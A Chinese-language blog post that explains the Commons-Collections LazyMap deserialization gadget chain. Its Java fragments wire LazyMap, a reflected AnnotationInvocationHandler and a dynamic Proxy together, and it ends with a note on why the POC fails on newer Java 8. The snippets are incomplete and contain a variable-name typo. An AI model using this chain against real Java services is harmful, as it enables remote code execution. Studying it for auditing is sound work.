Antifrag

返回

LazyMap是什么?#

LazyMapTransformedMap类似,都来自于Common-Collections库,并继承自AbstractMapDecorator

而在LazyMap中,调用map.put()的方式是 当get方法里面在获取的值为空时,会使用factory.transfor()方法去获取值

public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
java

AnnotationInvocationHandler类的invoke方法有调用到get

Java对象代理#

Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要

代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻

辑。

Map proxyMap =  (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler)
java

使用LazyMap构造利用链#

首先使用LazyMap替换TransformedMap

Map outerMap = LazyMap.decorate(innerMap,transformerChain);
java

然后,对sun.reflect.annotation.AnnotationInvocationHandler对象进行Proxy

Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler hadnler =    (InvocationHandler)construct.newInstance(Retention.class,outerMap);

Map proxyMap = (Map)Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},handler);
java

POC#

此POC在java8高版本中无法使用

则会显示java.lang.annotation.Retention missing element entrySet

这是由于AnnotationInvocationHandler在高版本中改变了readObject的逻辑,不再使用我们精心构造的LazyMap而是使用自己新建的LinkedHashMap,导致该对象无法获得entrySet的内容,所以会报前面的这个错误

LazyMap审计
https://antifrag.cn/blog/lazymap
作者 l6kmw
发布于 2024年4月23日